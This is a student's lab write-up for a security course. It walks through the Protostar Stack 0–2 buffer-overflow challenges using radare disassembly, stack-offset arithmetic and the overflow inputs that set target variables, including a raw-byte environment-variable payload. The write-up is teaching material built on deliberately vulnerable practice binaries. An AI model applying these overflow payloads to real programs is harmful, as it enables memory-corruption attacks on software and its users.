CSCE 451 April 2 Lab

Benton Guess{bguess10@tamu.edu}

April 4, 2020

All are compiled on 64-bit x86-64 ArchLinux Kernel 4.19 with GCC 9.1 using this template

```
[bentonguess@benton-pc protostar]$ gcc -o [challenge_name] -fno-stack-protector
   -m32 [challenge_name].c
```

Stack 0

Goal

Our goal is to print a target string using arbitrary IO.

Process

Looking at the source code, we have an fgets taking in arbitrary IO and copying it to a buffer. This gives us a possibility for a buffer overflow attack. We then identify what conditions are needed to print a specific string. There is one variable that if true will print the string we want printed.

The variable that determines what gets printed is compared here.

```
mov eax, dword [var_ch]
test eax, eax
```

We also find where our string gets stored from the fgets call.

```
lea eax, [s]
push eax                ; char *s
call sym.imp.gets       ; char *gets(char *s)
```

Now that we have both of these variables, we need to see where they are relative to one another.

```
; var char *s @ ebp-0x4c
; var int32_t var_ch @ ebp-0xc
; var int32_t var_8h @ ebp-0x8
; arg int32_t arg_4h @ esp+0x4
```

From this, we see that our buffer is 64 bytes away from the variable we want to change since $\texttt{0x4c} - \texttt{0x0c} = \texttt{0x40}$. We know that our attack string should be at least greater than 64 bytes long. However, we shouldn't go further than 68 bytes as a matter of principle since that could cause a stack corruption. Recall that our goal is to print a string, but our larger goal is to ensure that we can modify a program in its normal state with IO. This means that going beyond our buffer, for example, by writing 200 bytes, we will change the variable but crash the program. This achieves our goal in the moment, but in a "real" situation this print statement represents an alternative runtime state. Crashing the program would not get us anywhere in a real situation, since thats not our goal. The idea behind this attack is that it does not alter the program runtime apart from one variable. Using 68 bytes guarantees that we only alter the stack at the integer we want to change.

Answer

```
[bentonguess@benton-pc protostar]$ ./stack0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
you have changed the 'modified' variable
```

Stack 1

Goal

Our goal is to print a target string within the file using some form of IO.

Process

Looking at the source code, we see that we have an integer and a string buffer in close proximity to one another. Here we can deduce that there might be a way of modifying the variable using some arbitrary IO placed into the buffer.

We identify the string within the binary very simply using radare, which prints from a puts after a conditional jump. We then note two key places in the binary that can be exploited using radare. Looking at the code, we have a possibility of a buffer overflow, we can verify this by looking at the disassembled binary.

We identify a magic number associated with printing our target string, along with a variable that its compared to.

```
add esp, 0x10
mov eax, dword [var_1ch]
cmp eax, 0x61626364
```

We identify a string called dest which exists in the stack

```
mov eax, dword [esi + 4]
add eax, 4
mov eax, dword [eax]
sub esp, 8
push eax              ; const char *src
lea eax, [dest]
push eax              ; char *dest
call sym.imp.strcpy   ; char *strcpy(char *dest, const
```

We can see that a `strcpy` buffer overflow attack is possible here, however we need some more context before that is possible

We can verify the location of our target variables with radare

```
; var char *dest @ ebp-0x5c
; var int32_t var_1ch @ ebp-0x1c
; var int32_t var_ch @ ebp-0xc
; arg int32_t arg_4h @ esp+0x4
```

From this we can see that our text buffer is 64 bytes before our volatile int since $0x5c - 0x1c = 0x40$. Furthermore, since it is volatile, it must be checked at runtime, so there is no chance that some compilations might prevent this exploit. An overflow on strcpy will write to our volatile int that affects the magic number.

From the source code, we can see that this dest string is being copied from our first CLA, so we build our exploit around that. Since our magic number is composed of bytes that represent normal ASCII characters, we can use a basic string to overflow this value.

Since we have found our magic number, we know the size of our buffer, and we know that the variable above is considered "volatile", we can exploit this with a simple buffer overflow on the `strcpy`. We fill our 64 bytes with a sample string to fill the actual buffer. We know that our stack is not being padded with our current compiler and flags, so we place our magic number right after the "actual" length of the string buffer (64 bytes). We put in the ascii characters for our string in reverse since we are in x86. This produces the desired answer.

Answer

```
[bentonguess@benton-pc protostar]$ ./stack1
    AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDDdcba
you have correctly got the variable to the right value
```

Stack 2

Goal

Our goal is to print a target string using IO.

Process

Looking at the source code, we se a almost identical situation to the previous challenge. However, this one uses an environment variable (GREENIE) to store the string that will be copied rather than a command line argument. We also identify our magic number that the if statement will require. There is the same presence of the volatile int through a strcpy on a command line argument, so we know that this could have an easy exploit. This time, however, we are getting our string through an environment variable. We still visit the decompiled code instead of guessing the string to figure out where our variables are located in relation to one another.

We immediately find the variable being compared to our magic number

```
mov eax, dword [var_10h]
cmp eax, 0xd0a0d0a
```

We can find the string our env variable is being loaded into by finding the call for strcpy

```
sub esp, 8
push dword [src]      ; const char *src
lea eax, [dest]
push eax              ; char *dest
call sym.imp.strcpy   ; char *strcpy(char *dest, const char *src)
```

Now that we have both stack variables we check to see where they are on the stack

```
; var char *dest @ ebp-0x50
; var int32_t var_10h @ ebp-0x10
; var char *src @ ebp-0xc
; var int32_t var_8h @ ebp-0x8
; arg int32_t arg_4h @ esp+0x4
```

From this we can see that our text buffer has 64 bytes of padding before the value with $0x50 - 0x10 = 0x40$.

So now all that is left is to modify the ENV variable. However, this is not as simple as it looks as our magic number (0x0d0a0d0a) is not composed of normal keyboard characters. This means we need to load our ENV variable with arbitrary bytes rather than characters. There are multiple ways to do this, however the one with the least amount

of work would just be string quoting in bash, which differs slightly from that in C. I loaded the first 64 bytes of the string with a character and then the next 4 were the bytes to give us the magic number.

```
[bentonguess@benton-pc protostar]$ export
   GREENIE=$'\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1
   \x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1
   \x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\x1\xa\xd\xa\xd'
```

The dollar sign and single quotes are the important features here. They tell bash to treat this string as arbitrary bytes.

Answer

Now that this was done all that was left was to run the program. This input produced our target string.

```
[bentonguess@benton-pc protostar]$ ./stack2
you have correctly modified the variable
```